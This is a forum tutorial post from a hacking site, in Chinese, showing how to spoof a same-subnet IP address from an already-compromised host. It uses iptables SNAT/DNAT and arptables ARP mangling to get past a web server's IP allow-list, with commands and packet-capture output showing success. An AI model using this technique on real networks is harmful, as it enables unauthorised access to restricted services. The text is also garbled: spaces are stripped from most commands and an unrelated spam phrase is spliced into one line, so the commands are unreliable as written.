利用防火墙进行C段下的ip地址欺骗

[复制链接]
查看315 | 回复0 | 2012-4-1 19:23:22 | 显示全部楼层 |阅读模式
Author:Tm3yShell7@www.HackShell.net
#转载请保留此信息
 
我们知道,tcp/ip在不同层次寻址的依据是不同的,要进行传输的信息往往是根据ip地址路由到相应的子网,然后在子网内根据mac地址找到相应的主机。
可以看出,在保证主机通过计算得到的目的主机和自己在相同网段的情况下,主机便知道此次数据并不需要ip层路由,因此该数据在自己网段内寻址是完全依据mac地址的。在此情况下,我们对第三层ip地址的更改,就不会影响到数据在网络中的传递。
如此一来,我们便可以随意伪造同网段的ip地址,进行ip地址欺骗,同时保证通信的可达性。
这些工作理论上通过pcap编程很好实现,虽然目前为止网上还没实现此类功能的成品程序。现在有趣的是我们将要使用保护我们安全的防火墙去实现它。主要利用点是iptables实现nat功能的部分。
 
两款防火墙分别是:netfilter/iptables和ebtables(arptables)
为了使此次讨论有价值,我们想象这样一种情景,也是我碰到过的真实情况:我们得到了192.168.254.130这台机器的控制权,我们的目标机器是同网段的192.168.254.1的机器,这台机器的web服务限制了只有192.168.254.22可以访问。

192.168.254.1(目标服主机):





192.168.254.130(我们已经控制的主机):


首先针对本地发往目的主机的包进行修改:

对源地址为本地(-s192.168.254.130)目的地址为192.168.254.1(-d192.168.254.1)端口为80/tcp(-ptcp–dport80)的数据包在POSTROUTING链进行所谓的NAT(SNAT,修改源地址为192.168.254.22):

#iptables-tnat-APOSTROUTING-ptcp–dport80-s192.168.254.130-d192.168.254.1-jSNAT–to192.168.254.22
然后针对目的主机返回本机的数据包进行修改:

参数意义基本同上(DNAT,修改目的地址为本机,以使本地网卡捕获该数据包)

#iptables-tnat-APREROUTING-ptcp–sport80-s192.168.254.1-d192.168.254.22-jDNAT–to192.168.254.130
这样可以了吗?最开始我认为这样就可以了,soletscheckitout:

#tcpdump-nn-ieth0>test.dmp&#seeifthepacket tran单机传奇erinthewaywethink

#wgethttp://192.168.254.1/1.php
结果是超时,我们看看问题出在哪里:

#cattest.dmp

03:48:01.963477arpwho-has192.168.254.1tell192.168.254.130

03:48:02.377828arpreply192.168.254.1is-at00:50:56:c0:00:08

03:48:02.399608IP192.168.254.22.59152>192.168.254.1.80:S3652953733:3652953733(0)win5840<mss1460,sackOK,times*p212183940,nop,wscale6>

03:48:02.456238arpwho-has192.168.254.22tell192.168.254.1

03:48:02.513615arpwho-has192.168.254.22tell192.168.254.1

03:48:03.513636arpwho-has192.168.254.22tell192.168.254.1

03:48:04.956832arpwho-has192.168.254.22tell192.168.254.1

03:48:05.513691arpwho-has192.168.254.22tell192.168.254.1

03:48:06.090730IP192.168.254.22.59152>192.168.254.1.80:S3652953733:3652953733(0)win5840<mss1460,sackOK,times*p212213940,nop,wscale6>

03:48:06.513826arpwho-has192.168.254.22tell192.168.254.1

03:48:10.958625arpwho-has192.168.254.22tell192.168.254.1

03:48:11.514137arpwho-has192.168.254.22tell192.168.254.1
我们可以看到,直接发送标记有ip和mac地址的tcp协议数据包似乎并不能使主机把该包来源主机的mac地址缓存,因此我们还应更改我们主机查询192.168.254.1的mac时的arp请求帧中的源地址。
因为iptables工作在第三层,因此欲修改arp帧必须用到ebtables&nbsp;(arptables)
#arptables-AOUTPUT-s192.168.254.130-d192.168.254.1-jmangle&ndash;mangle-ip-s192.168.254.22
同理,最后&nbsp;&ndash;mangle-ip-s的作用是&ldquo;ManglesSourceIPAddresstogivenvalue.&rdquo;这样目标主机便不会再广播帧去寻找主机22的mac地址了。

为了向1主机发送arp请求,需清除本机arp缓存:

#arp-d&nbsp;192.168.254.1

#tcpdump-nn-ieth0>test0.dmp&

#&nbsp;wget192.168.254.1/ip.php

&ndash;2011-04-0104:05:51&ndash;&nbsp;http://192.168.254.1/ip.php

Connectingto192.168.254.1:80&hellip;connected.

HTTPrequestsent,awaitingresponse&hellip;200OK

Length:15[text/html]Savingto:`ip.php&rsquo;

100%[======================================>]15&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&ndash;.-K/s&nbsp;in0s

2011-04-0104:05:51(1.93MB/s)&ndash;`ip.php&rsquo;saved[15/15]
ip.php的功能是现实客户端ip地址:

#catip.php

192.168.254.22
由此可见,我们的欺骗成功了。
&nbsp;
*
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则